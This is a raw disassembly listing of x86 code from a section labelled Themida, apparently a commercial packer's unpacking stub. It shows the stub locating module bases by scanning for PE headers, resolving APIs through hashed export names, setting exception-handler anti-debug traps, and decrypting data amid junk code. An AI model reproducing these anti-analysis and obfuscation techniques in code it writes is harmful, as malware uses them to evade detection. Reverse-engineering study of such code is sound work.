cmp [ebp+var_28], 80h
jz short loc_54A066
mov eax, [ebp+arg_0]
mov [ebx+612358Bh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_54A047
; ---------------------------------------------------------------------------
loc_54A066: ; CODE XREF: sub_54A02B+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_54A02B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54A071 proc near ; CODE XREF: start+69F79p start+69F83p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 612366Ah
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_54A097: ; CODE XREF: sub_54A071+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_54A097
mov [ebp+var_84], 0
lea edi, [edx+612358Bh]
lea esi, [ebp+var_80]
loc_54A0C7: ; CODE XREF: sub_54A071+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_54A0D3: ; CODE XREF: sub_54A071+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_54A0D3
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_54A0C7
popa
leave
retn 4
sub_54A071 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_54A111
; ---------------------------------------------------------------------------
loc_54A10D: ; CODE XREF: Themida_:0054A114j
inc dword ptr [ebp-4]
inc esi
loc_54A111: ; CODE XREF: Themida_:0054A10Bj
cmp byte ptr [esi], 0
jnz short loc_54A10D
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_54A1A2
; ---------------------------------------------------------------------------
loc_54A123: ; CODE XREF: Themida_:0054A1A5j
mov dword ptr [ebp-8], 0
jmp short loc_54A199
; ---------------------------------------------------------------------------
loc_54A12C: ; CODE XREF: Themida_:0054A19Dj
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_54A186
; ---------------------------------------------------------------------------
loc_54A13C: ; CODE XREF: Themida_:0054A18Aj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_54A15E
cmp bl, 39h
ja short loc_54A15E
sub bl, 30h
jmp short loc_54A180
; ---------------------------------------------------------------------------
loc_54A15E: ; CODE XREF: Themida_:0054A152j
; Themida_:0054A157j
cmp bl, 61h
jb short loc_54A170
cmp bl, 66h
ja short loc_54A170
sub bl, 61h
add bl, 0Ah
jmp short loc_54A180
; ---------------------------------------------------------------------------
loc_54A170: ; CODE XREF: Themida_:0054A161j
; Themida_:0054A166j
cmp bl, 41h
jb short loc_54A180
cmp bl, 46h
ja short loc_54A180
sub bl, 41h
add bl, 0Ah
loc_54A180: ; CODE XREF: Themida_:0054A15Cj
; Themida_:0054A16Ej ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_54A186: ; CODE XREF: Themida_:0054A13Aj
cmp dword ptr [ebp-0Ch], 2
jb short loc_54A13C
cmp dword ptr [ebp-10h], 0
jbe short loc_54A196
mov eax, [ebp-10h]
stosb
loc_54A196: ; CODE XREF: Themida_:0054A190j
inc dword ptr [ebp-8]
loc_54A199: ; CODE XREF: Themida_:0054A12Aj
cmp dword ptr [ebp-8], 2
jb short loc_54A12C
add edx, 4
loc_54A1A2: ; CODE XREF: Themida_:0054A121j
cmp edx, [ebp-4]
jb loc_54A123
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54A1B5: ; CODE XREF: start+69F88j
mov ecx, 7000h
lea edi, [ebp+61237B0h]
loc_54A1C0: ; CODE XREF: start+6A1B0j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_54A1C0
mov eax, 48692121h
mov edx, 0F00E0000h
sub edx, 0F0000000h
lea eax, [ebp+61238A4h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
mov bx, ax
mov ebx, edi
sub eax, edx
push esi
jz loc_54A205
and ebx, 7F2697ACh
loc_54A205: ; CODE XREF: start+6A1E5j
pop ebx
and eax, 0FFFFF000h
push 0
push edx
call sub_54A216
and [edx-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_54A216 proc near ; CODE XREF: start+6A1FAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_54A216 endp
; ---------------------------------------------------------------------------
jz short near ptr loc_54A268+3
aam 9
xchg eax, ecx
test eax, 33CA8BEAh
jmp dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
db 38h
dd 0E755A4Dh, 3C50B70Fh, 3A81D003h, 4550h, 2D0874h, 47000010h
dd 8F64E3EBh, 5, 4C48300h, 38B7958Dh, 64520612h, 35FFh
dd 89640000h
; ---------------------------------------------------------------------------
loc_54A268: ; CODE XREF: Themida_:0054A226j
and eax, 0
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_54A288
mov esi, [eax+1Ch]
loc_54A288: ; CODE XREF: Themida_:0054A283j
xor eax, eax
loc_54A28A: ; CODE XREF: Themida_:0054A29Dj
cmp eax, 32h
jz short loc_54A2AE
cmp word ptr [esi], 5A4Dh
jz short loc_54A29F
loc_54A296: ; CODE XREF: Themida_:0054A2ACj
sub esi, 10000h
inc eax
jmp short loc_54A28A
; ---------------------------------------------------------------------------
loc_54A29F: ; CODE XREF: Themida_:0054A294j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_54A2F0
jmp short loc_54A296
; ---------------------------------------------------------------------------
loc_54A2AE: ; CODE XREF: Themida_:0054A28Dj
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 61238C2h
lea eax, [ebp+6123880h]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_54A2F0: ; CODE XREF: Themida_:0054A2AAj
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
mov bl, cl
mov bx, 0E5F3h
mov cx, ds
push 0
push ebp
call sub_54A30F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54A30F proc near ; CODE XREF: Themida_:0054A307p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_54A30F endp
; ---------------------------------------------------------------------------
db 67h
dd 0C7FEE962h, 0E180F895h, 8E804h, 65050000h, 0BD4EBBACh
dd 5BFC34B9h, 13820F53h, 0E9000000h, 0Eh, 0E52BE12Ah, 86E82363h
dd 7C2D4B36h, 0A5B5411h, 3E850FC9h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 391FC351h, 0C7D88B66h, 1207AD85h, 106h, 66DE8B00h, 16E9DE8Bh
dd 0E9000000h, 5, 0DD07536Bh, 0AD85C724h, 61207h, 8A000000h
dd 0B18589DDh, 0E9061203h, 9, 3FFF8542h, 3D80D803h, 0E9858939h
dd 0E8061230h, 0Ah, 0EA7B9F24h, 70028E81h, 86B63341h, 0DA8B665Fh
dd 5C07C781h, 8B0F0000h, 13h, 0EE9h, 0DD127A00h, 537C27C1h
dd 73830906h, 2BF699CBh, 5E9F6h, 9B900000h, 8BEAE996h
dd 0F563704h, 815AD6B7h, 283237E8h, 0E881F80Bh, 5D625D23h
dd 0C9D2E4BAh, 1CE88104h, 0B9017CDEh, 1DFD268Fh, 0B6370489h
dd 4EE835Bh, 0C102A7B9h, 80FE8113h, 0FFFFFA4h, 0FFFFC285h
dd 0DE9FFh, 0D3120000h, 60E3FEEDh, 83397522h, 0E80B7EA3h
dd 10h, 0F13E1106h, 33E936Dh, 0A73228C9h, 9A254204h, 12E8h
dd 3512C200h, 72F01BC0h, 0A061D3E6h, 975C901Bh, 525370A4h
dd 5859C78Bh, 198B0F5Eh, 0E9000000h, 14h, 76AB46DCh, 4DD9A98Eh
dd 0A5A5F55Fh, 2A595E95h, 0E59ACE81h, 6852C681h, 0F58A0000h
dd 68h, 0C9805300h, 0E85F5910h, 5, 25072BFBh, 17E5808Dh
dd 3734FF5Ah, 5BCFBF0Fh, 0FE851h, 5BF00000h, 51B2CCA9h
dd 0C40E09DBh, 2E818A0Ch, 6E99Fh, 0B3450000h, 0D4404A42h
dd 0C3815858h, 60270B25h, 88C5B5BAh, 4DF3813Eh, 80181CC5h
dd 0EB817DDEh, 3DCBF3F3h, 15850Fh, 10E90000h, 0DB000000h
dd 3E19F5ABh, 0E5D2CC49h, 4910B764h, 89E55C9Eh, 8B663E1Ch
dd 0F08166D7h, 0EF83F370h, 0E1805004h, 0FF815A65h, 0FFFF98B0h
dd 10850Fh, 0E9F80000h, 16h, 33FF6967h, 56C488AEh, 0E58AA0E5h
dd 0FFFF6CE9h, 50A477FFh, 4EBD947h, 215h, 6C4E9h, 9E900h
dd 37140000h, 51E9DF73h, 60F58060h, 6810Fh, 0B5890000h
dd 6122045h, 0B8h, 14E900h, 0C2B20000h, 0C9EAD3E1h, 8837F381h
dd 11540D27h, 0BED63E1Ch, 548B46BFh, 89FC2824h, 12187D85h
dd 0B850F06h, 60000000h, 89CA8B66h, 12290195h, 3CBE6106h
dd 0F5000000h, 24247403h, 0FAD66F8h, 0A86h, 8C0F6000h
dd 0
; ---------------------------------------------------------------------------
mov eax, edx
popa
add eax, [esp+24h]
add [ebp+6120CDDh], ebx
nop
jmp loc_54A5EC
; ---------------------------------------------------------------------------
db 97h
dd 0BFD3A4D8h
; ---------------------------------------------------------------------------
loc_54A5EC: ; CODE XREF: Themida_:0054A5E2j
push eax
jmp loc_54A606
; ---------------------------------------------------------------------------
dw 0EB2Bh
dd 44FBEB02h, 156C18E9h, 315B180Eh, 0F4A49B4Eh
; ---------------------------------------------------------------------------
lodsb
pop eax
loc_54A606: ; CODE XREF: Themida_:0054A5EDj
nop
clc
mov eax, [eax+78h]
jmp loc_54A620
; ---------------------------------------------------------------------------
dd 6E271392h, 8658B2FDh, 0DE7D226h, 60AB0894h
; ---------------------------------------------------------------------------
loc_54A620: ; CODE XREF: Themida_:0054A60Bj
add eax, [esp+28h]
sub [ebp+6120E95h], ecx
add [ebp+6120015h], ecx
mov eax, [eax+18h]
jnb loc_54A641
jo loc_54A641
pusha
popa
loc_54A641: ; CODE XREF: Themida_:0054A633j
; Themida_:0054A639j
inc eax
jle loc_54A657
jmp loc_54A657
; ---------------------------------------------------------------------------
db 9Eh, 60h, 17h
dd 6F0E227Bh
db 37h, 0E4h, 0EBh
; ---------------------------------------------------------------------------
loc_54A657: ; CODE XREF: Themida_:0054A642j
; Themida_:0054A648j
mov [ebp+6123B46h], eax
pusha
jmp loc_54A672
; ---------------------------------------------------------------------------
db 0AEh
dd 29AF5801h, 0DCC28FDFh, 0F281C1Bh
db 44h, 0Dh
; ---------------------------------------------------------------------------
loc_54A672: ; CODE XREF: Themida_:0054A65Ej
ja $+6
popa
pop eax
mov [ebp+6120661h], esi
mov esi, [eax+78h]
stc
add esi, 1Ch
jp loc_54A68E
cmc
loc_54A68E: ; CODE XREF: Themida_:0054A687j
add esi, [esp+24h]
jmp loc_54A6A4
; ---------------------------------------------------------------------------
db 94h
dd 2E570565h, 2EEF7815h, 129F05DDh
; ---------------------------------------------------------------------------
loc_54A6A4: ; CODE XREF: Themida_:0054A692j
lea edi, [ebp+6120251h]
mov [ebp+6121675h], edi
lodsd
jmp loc_54A6C0
; ---------------------------------------------------------------------------
dw 8377h
dd 0A451E581h, 8FBAF7Ah
; ---------------------------------------------------------------------------
loc_54A6C0: ; CODE XREF: Themida_:0054A6B1j
add eax, [esp+24h]
sub [ebp+6121F79h], edx
pusha
or [ebp+612176Dh], edi
mov esi, [ebp+61217D5h]
popa
stosd
cld
lea edi, [ebp+612002Dh]
clc
lodsd
mov [ebp+61201A1h], ecx
add eax, [esp+24h]
mov [ebp+61221BDh], eax
nop
jz loc_54A70A
jmp loc_54A70A
; ---------------------------------------------------------------------------
dw 30D3h
dd 116C9481h, 0B7BB2364h
db 31h, 12h
; ---------------------------------------------------------------------------
loc_54A70A: ; CODE XREF: Themida_:0054A6F3j
; Themida_:0054A6F9j
push eax
jmp loc_54A724 ; CODE XREF: Themida_:0054A784j
; ---------------------------------------------------------------------------
sub ebp, [ebx]
push edi
test [ecx+edi*2], ch
lea edx, [edi-5F8CF571h]
cmp eax, 0B51C7619h
cld
mov dl, dh
loc_54A724: ; CODE XREF: Themida_:0054A70Bj
nop
clc
stosd
stc
jmp loc_54A73A
; ---------------------------------------------------------------------------
db 0D3h, 33h, 22h
dd 7E137B56h, 0B10B69FBh
db 4Fh, 0EFh
; ---------------------------------------------------------------------------
loc_54A73A: ; CODE XREF: Themida_:0054A728j
lea edi, [ebp+61204CDh]
pusha
mov [ebp+61201B1h], ecx
push ebx
and edx, [ebp+6121DE1h]
pop ecx
popa
lodsd
pusha
jmp loc_54A764
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
aad 0CCh
db 3Eh
xchg bh, [ecx+edi*4]
loc_54A75E: ; CODE XREF: Themida_:0054A786j
adc eax, 2A986529h
; ---------------------------------------------------------------------------
db 0DAh
; ---------------------------------------------------------------------------
loc_54A764: ; CODE XREF: Themida_:0054A752j
mov bx, 2549h
popa
add eax, [esp+28h]
jnp loc_54A779
sub [ebp+612292Dh], eax
loc_54A779: ; CODE XREF: Themida_:0054A76Dj
stosd
pusha
call near ptr loc_54A788+1
dec ecx
stosb
loopne loc_54A7F6
jbe short near ptr loc_54A70B+2
jz short loc_54A75E
loc_54A788: ; CODE XREF: Themida_:0054A77Bp
in al, 89h ; DMA page register 74LS612:
; Channel 6 (address bits 17-23)
popf
; ---------------------------------------------------------------------------
db 0D9h
; ---------------------------------------------------------------------------
push cs
adc al, [esi]
pop ebx
movzx eax, ax
popa
pop esi
or [ebp+61211FDh], ecx
loc_54A79B: ; CODE XREF: Themida_:0054A827j
dec dword ptr [ebp+6123B46h]
cmp dword ptr [ebp+6123B46h], 0
jnz short loc_54A7BA
mov dword ptr [esp+1Ch], 0
lea esi, [ebp+612400Ah]
jmp esi
; ---------------------------------------------------------------------------
loc_54A7BA: ; CODE XREF: Themida_:0054A7A8j
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+6122871h]
test al, al
jz short loc_54A7D1
cmp al, [edi]
jnz short loc_54A81D
loc_54A7D1: ; CODE XREF: Themida_:0054A7CBj
push edi
xor al, al
loc_54A7D4: ; CODE XREF: Themida_:0054A7D5j
scasb
jnz short loc_54A7D4
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_54A7E1: ; CODE XREF: Themida_:0054A80Aj
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_54A7F0: ; CODE XREF: Themida_:0054A803j
shr bx, 1
rcr ax, 1
loc_54A7F6: ; CODE XREF: Themida_:0054A782j
jnb short loc_54A801
xor ax, 5041h
xor bx, 5449h
loc_54A801: ; CODE XREF: Themida_:loc_54A7F6j
dec dh
jnz short loc_54A7F0
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_54A7E1
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_54A82C
loc_54A81D: ; CODE XREF: Themida_:0054A7CFj
pop esi
add esi, 4
inc dword ptr [ebp+612187Dh]
jmp loc_54A79B
; ---------------------------------------------------------------------------
loc_54A82C: ; CODE XREF: Themida_:0054A81Bj
pop esi
jb loc_54A83B
jl loc_54A83B
pusha
popa
loc_54A83B: ; CODE XREF: Themida_:0054A82Dj
; Themida_:0054A833j
jmp loc_54A84C
; ---------------------------------------------------------------------------
cmc
or eax, 0F55B4CAAh
dec ecx
mov esi, ecx
adc cl, cl
pop ecx
loc_54A84C: ; CODE XREF: Themida_:loc_54A83Bj
cmc
pusha
sub [ebp+6122C41h], edi
mov ecx, [ebp+6120DB1h]
popa
mov eax, [ebp+612187Dh]
cld
shl eax, 1
pusha
jmp loc_54A879
; ---------------------------------------------------------------------------
dw 0C123h
dd 58C0FCADh, 87EE53A4h, 0B9AF283Ch
; ---------------------------------------------------------------------------
push esi
loc_54A879: ; CODE XREF: Themida_:0054A865j
; Themida_:0054A8B8j
mov [ebp+6120325h], esi
popa
add eax, [ebp+61204CDh]
clc
xor [ebp+6122875h], esi
mov esi, 0
jno loc_54A89E
sub [ebp+6120C85h], esi
loc_54A89E: ; CODE XREF: Themida_:0054A892j
xchg eax, esi
stc
mov [ebp+6122915h], edx
lodsw
pusha
call sub_54A8C2
mov al, 0CFh
and bl, [edx]
xchg eax, edx
in al, dx
and [edx], esp
sub al, 1Fh
loop near ptr loc_54A879+1
into
jmp short loc_54A8E4
; ---------------------------------------------------------------------------
db 0F6h, 0F0h, 0C7h
db 0E7h, 28h
; =============== S U B R O U T I N E =======================================
sub_54A8C2 proc near ; CODE XREF: Themida_:0054A8A9p
arg_3C = dword ptr 40h
arg_44 = dword ptr 48h
mov [ebp+6120EF1h], ebx
pop edi
movsx edx, si
popa
shl eax, 2
clc
add eax, [ebp+6120251h]
pusha
mov [ebp+61209D5h], edx
or [ebp+6122BE1h], edi
loc_54A8E4: ; CODE XREF: Themida_:0054A8BBj
popa
xchg eax, esi
jmp loc_54A8F5
; ---------------------------------------------------------------------------
db 0BDh
dd 0E9E7BECEh, 90DE5C09h
db 19h
; ---------------------------------------------------------------------------
loc_54A8F5: ; CODE XREF: sub_54A8C2+24j
lodsd
jmp loc_54A909
; ---------------------------------------------------------------------------
db 0B6h
dd 3B1958BBh, 201F7A74h, 41F32BE7h
db 0CCh
; ---------------------------------------------------------------------------
loc_54A909: ; CODE XREF: sub_54A8C2+34j
mov ecx, [esp-24h+arg_44]
xor [ebp+6120961h], ecx
add eax, [esp-24h+arg_44]
jo loc_54A923
mov [ebp+6123025h], edx
loc_54A923: ; CODE XREF: sub_54A8C2+55j
mov [esp-24h+arg_3C], eax
add [ebp+6121811h], esi
xchg eax, esi
jnz loc_54A941
jmp loc_54A941
; ---------------------------------------------------------------------------
db 0A5h, 0B3h, 22h
dd 789C4AD6h
db 0Ch
; ---------------------------------------------------------------------------
loc_54A941: ; CODE XREF: sub_54A8C2+6Cj
; sub_54A8C2+72j
lodsb
mov [ebp+6122ACDh], ecx
jnb loc_54A954
mov [ebp+6122E09h], ecx
loc_54A954: ; CODE XREF: sub_54A8C2+86j
xor cl, cl
jle loc_54A964
pusha
xor ecx, [ebp+6120339h]
popa
loc_54A964: ; CODE XREF: sub_54A8C2+94j
inc cl
pusha
mov ecx, [ebp+61228CDh]
clc
popa
loc_54A96F: ; CODE XREF: sub_54A8C2+F5j
rcl al, 1
jnb loc_54AA20
xor [ebp+6120E15h], edi
rcl al, 1
jnb loc_54AA20
mov [ebp+61223D1h], ebx
rcl al, 1
jb loc_54AA20
clc
rcl al, 1
jb loc_54AA20
jmp loc_54A9B5
; ---------------------------------------------------------------------------
db 0Eh, 92h, 78h
dd 0ECBE05B2h, 0D7D1544Dh, 2A16AE8h, 87210B79h
db 79h
; ---------------------------------------------------------------------------
loc_54A9B5: ; CODE XREF: sub_54A8C2+DAj
dec cl
jns loc_54A96F
pusha
sub [ebp+612240Dh], edi
popa
add esp, 20h
pusha
push ecx
mov ch, 13h
pop eax
add ch, 71h
popa
mov [esp-44h+arg_3C], 0
add [ebp+612068Dh], eax
mov eax, 1
jl loc_54A9F0
mov [ebp+6120359h], eax
loc_54A9F0: ; CODE XREF: sub_54A8C2+122j
lea ecx, [ebp+6127277h]
or [ebp+6121051h], esi
jmp ecx
; ---------------------------------------------------------------------------
pusha
push ebx
ja $+6
pop esi
jbe loc_54AA13
jb $+6
loc_54AA13: ; CODE XREF: sub_54A8C2+145j
popa
jb loc_54AA20
mov [ebp+61214F1h], esi
loc_54AA20: ; CODE XREF: sub_54A8C2+AFj
; sub_54A8C2+BDj ...
mov byte ptr [ebp+6122871h], 0
cmc
popa
cmc
mov [ebp+6121859h], ecx
retn 8
sub_54A8C2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xor [ebp+6122971h], ecx
push eax
jmp loc_54AA44
; ---------------------------------------------------------------------------
db 67h
; ---------------------------------------------------------------------------
cli
call fword ptr [edx-1Ch]
loc_54AA44: ; CODE XREF: Themida_:0054AA3Aj
mov [esp], esi
stc
mov [ebp+61241E0h], esi
pusha
mov [ebp+61219C9h], esi
popa
mov [ebp+61241F4h], ecx
pusha
popa
lea esi, [ebp+61240C4h]
jo loc_54AA70
mov [ebp+6121129h], ebx
loc_54AA70: ; CODE XREF: Themida_:0054AA64j
lea eax, dword_5B8EA1[ebp]
jnz loc_54AA82
sub [ebp+6121251h], eax
loc_54AA82: ; CODE XREF: Themida_:0054AA76j
call eax
xor [ebp+6120E09h], ebx
pop esi
jmp loc_54AA98
; ---------------------------------------------------------------------------
mov edi, 19733905h
sbb al, 0A6h
dec esi
loc_54AA98: ; CODE XREF: Themida_:0054AA8Bj
jmp locret_54AAAE
; ---------------------------------------------------------------------------
db 40h, 0D6h, 18h
dd 8D2F53D3h, 1972FFDh, 866BC567h
; ---------------------------------------------------------------------------
pop es
push ss
locret_54AAAE: ; CODE XREF: Themida_:loc_54AA98j
retn
; ---------------------------------------------------------------------------
pusha
js loc_54AABB
mov edi, 0D3EA0C2h
loc_54AABB: ; CODE XREF: Themida_:0054AAB0j
mov ecx, [ebp+61201DDh]
popa
jmp loc_54AADA
; ---------------------------------------------------------------------------
db 0F3h
dd 0C7F7F2AAh, 1EF0B7C4h, 0DE112697h, 0B8A9DF33h
db 0EAh, 20h
; ---------------------------------------------------------------------------
loc_54AADA: ; CODE XREF: Themida_:0054AAC2j
mov esi, [ebp+61241E0h]
mov [ebp+6122415h], esi
mov [ebp+61204ADh], eax
mov ecx, [ebp+61241F4h]
pusha
mov [ebp+6122039h], esi
jmp loc_54AB12
; ---------------------------------------------------------------------------
dw 0AFB0h
dd 0EB7B4E51h, 6A45CEF2h, 0C0B323DCh, 2AFCBA9h
db 7, 0D2h
; ---------------------------------------------------------------------------
loc_54AB12: ; CODE XREF: Themida_:0054AAF9j
popa
or [ebp+6121A55h], esi
mov eax, 0
add [ebp+6121C09h], ecx
stc
mov ebx, ecx
pusha
cld
sub [ebp+61223C9h], esi
popa
jmp loc_54ABE1
; ---------------------------------------------------------------------------
cmc
jmp loc_54AB4B
; ---------------------------------------------------------------------------
db 0ACh
dd 946DF881h, 2A1229A8h, 71DD428Ch
db 80h, 9Ch, 0CEh
; ---------------------------------------------------------------------------
loc_54AB4B: ; CODE XREF: Themida_:0054AB36j
; Themida_:0054ABE3j
xor ah, [esi]
pusha
mov bl, ah
mov [ebp+6123009h], esi
popa
mov dl, 2
mov [ebp+61212B1h], ecx
jmp loc_54ABBF
; ---------------------------------------------------------------------------
sub [ebp+61222F1h], edx
loc_54AB6A: ; CODE XREF: Themida_:0054ABC1j
xor al, dl
sub [ebp+6120599h], edi
add eax, 8A751D7Ah
pusha
or eax, 6189F086h
mov [ebp+6121B55h], edi
popa
cmc
mov cl, ah
jmp loc_54ABA1
; ---------------------------------------------------------------------------
db 7Eh, 0Fh, 3Ah
dd 8A597E81h, 6AB616ACh, 804340EFh, 2C0EA1BEh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_54ABA1: ; CODE XREF: Themida_:0054AB88j
ror eax, cl
mov [ebp+61203CDh], eax
clc
xor eax, 98D10842h
pusha
xor bl, 0B2h
mov dx, ax
popa
dec dl
or [ebp+6121609h], ecx
loc_54ABBF: ; CODE XREF: Themida_:0054AB5Fj
or dl, dl
jnz loc_54AB6A
jnb loc_54ABD3
mov [ebp+6122675h], edx
loc_54ABD3: ; CODE XREF: Themida_:0054ABC7j
dec ebx
mov [ebp+6120E41h], edx
inc esi
or [ebp+6120329h], ebx
loc_54ABE1: ; CODE XREF: Themida_:0054AB30j
or ebx, ebx
jnz loc_54AB4B
xor [ebp+6120741h], eax
iret
; ---------------------------------------------------------------------------
dd 2081BD89h, 612h, 8149B160h, 0C29A6D6h, 6155h, 18B1B589h
dd 612h, 0AE9h, 5FDCE600h, 0CE8469CAh, 31F7F9E7h, 123195B5h
dd 89000006h, 122B0D8Dh, 5D858D06h, 0E906123Bh, 0Eh, 0F820EAB8h
dd 2A027882h, 0A8BE291Ch, 85891F23h, 6121689h, 0C840Fh
dd 850F0000h, 6, 820Fh, 858D0000h, 6124023h, 6E9h, 875F4F00h
dd 89330057h, 122F6585h, 14EB06h, 3 dup(0)
dd 8B000000h, 8D000000h, 12433185h, 0AD858906h, 83061234h
dd 124269BDh, 840F0006h, 12Bh, 287185C6h, 0E8560612h, 4
dd 0D41F6D39h, 24448B50h, 89008B04h, 58042444h, 3B1B5FFh
dd 858D0612h, 6123B5Dh, 8589D0FFh, 612425Dh, 287185C6h
dd 0E8560612h, 4, 9CA8B852h, 24448B50h, 89008B04h, 58042444h
dd 3B1B5FFh, 858D0612h, 6123B5Dh, 8589D0FFh, 6124261h
dd 0DD68046Ah, 81BE84F6h, 19232404h, 858B417Bh, 612426Dh
dd 1F405h, 2E0C100h, 6A905090h, 6195FF00h, 89061242h, 12426585h
dd 0B8D88B06h, 0FFFFFFFFh, 34AD95FFh, 0C38B0612h, 34AD95FFh
dd 84E90612h, 83000000h, 124269BDh, 850F0006h, 1, 0BD8B57C3h
dd 6124265h, 658583ABh, 4061242h, 0BD83C35Fh, 6124269h
dd 1850F00h, 0C3000000h, 65AD8360h, 4061242h, 42659D8Bh
dd 7B830612h, 850FFFFCh, 1Dh, 70D00768h, 2434811Fh, 1F705007h
dd 33FF006Ah, 425D95FFh, 0C3610612h, 1DE9h, 58EC6800h
dd 3481563Bh, 3BD8EC24h, 0FF006A56h, 5D95FF33h, 83061242h
dd 124265ADh, 0B1E90406h, 48FFFFFFh, 9D3E9h, 23473F00h
dd 25C225E5h, 97AFF34Fh, 8D9D91D2h, 2AFA5D5Fh, 0FB4F73C9h
dd 39560BBFh, 5F0DB3FEh, 23616271h, 29802EE8h, 0C5B8E147h
dd 8A8F8081h, 45B1521Ah, 0F14503AAh, 355716ABh, 5D0DB3ACh
dd 23626D77h, 368034E8h, 0C5A7FB5Ah, 91919C9Fh, 2EBF460Dh
dd 0E60937C9h, 784616AFh, 4843B2FEh, 23747977h, 37CF32F1h
dd 0CBA7F55Ah, 63h dup(0)
dd 23473F00h, 39CE2FECh, 0C5B8FB5Ch, 99938B82h, 6FF25E0Dh
dd 0B45A32CFh, 775700A8h, 440CA0ACh, 71266876h, 39CE2EF4h
dd 8CEAF346h, 9185D99Ch, 3CBF4D0Ah, 0F15D20DEh, 14384BA7h
dd 5006AADCh, 232A696Bh, 3FCC2EF4h, 8CEAF049h, 8C9AD986h
dd 22BF5210h, 0E6463EC2h, 775345B3h, 5411E6E8h, 7167786Bh
dd 3FD960F5h, 95EAE65Dh, 8C9B9680h, 0B1521Eh, 48h dup(0)
dd 23473F00h, 33C132E2h, 0C2B8F143h, 9188D981h, 27BF5310h
dd 0F60920C6h, 395C00AFh, 5F16A9EAh, 76742C7Ch, 3EC92EEFh
dd 8BA3B44Fh, 8B9380D2h, 36EC1F0Dh, 0F94C27D4h, 493F6FE4h
dd 4202A3E0h, 7626207Dh, 31CF2CEFh, 91A3B44Ch, 918E9FD2h
dd 2AF21F12h, 0ED5B3CCAh, 7D5C04EAh, 4206B4ACh, 77746D6Ch
dd 25CF39A1h, 97BAB45Ah, 9F8E9E9Dh, 1112h, 61h dup(0)
dd 6A403F00h, 338025EDh, 90B8E647h, 9A998D82h, 1BBF115Eh
dd 0B45A3ACFh, 7E5D17BAh, 110EA7FEh, 23756D70h, 3EC525E3h
dd 8BABF908h, 9289899Bh, 2BFA4B1Eh, 0F0473287h, 605308EAh
dd 3C69A3EEh, 70217871h, 36CE29A1h, 80BEF74Dh, 879ED996h
dd 19BF5E5Fh, 0E75C21CEh, 39400AEAh, 5202B4EFh, 2D626973h
dd 39C814A1h, 8CACB45Bh, 89DC9C9Eh, 3BB85110h, 0E6462487h
dd 775345A1h, 430CABF5h, 227Dh, 0E0h dup(0)
dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
dd 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_54E577
; ---------------------------------------------------------------------------
push 0
push edi
call sub_54B7B4
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54B7B4 proc near ; CODE XREF: Themida_:0054B7ACp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_54B7B4 endp
; ---------------------------------------------------------------------------
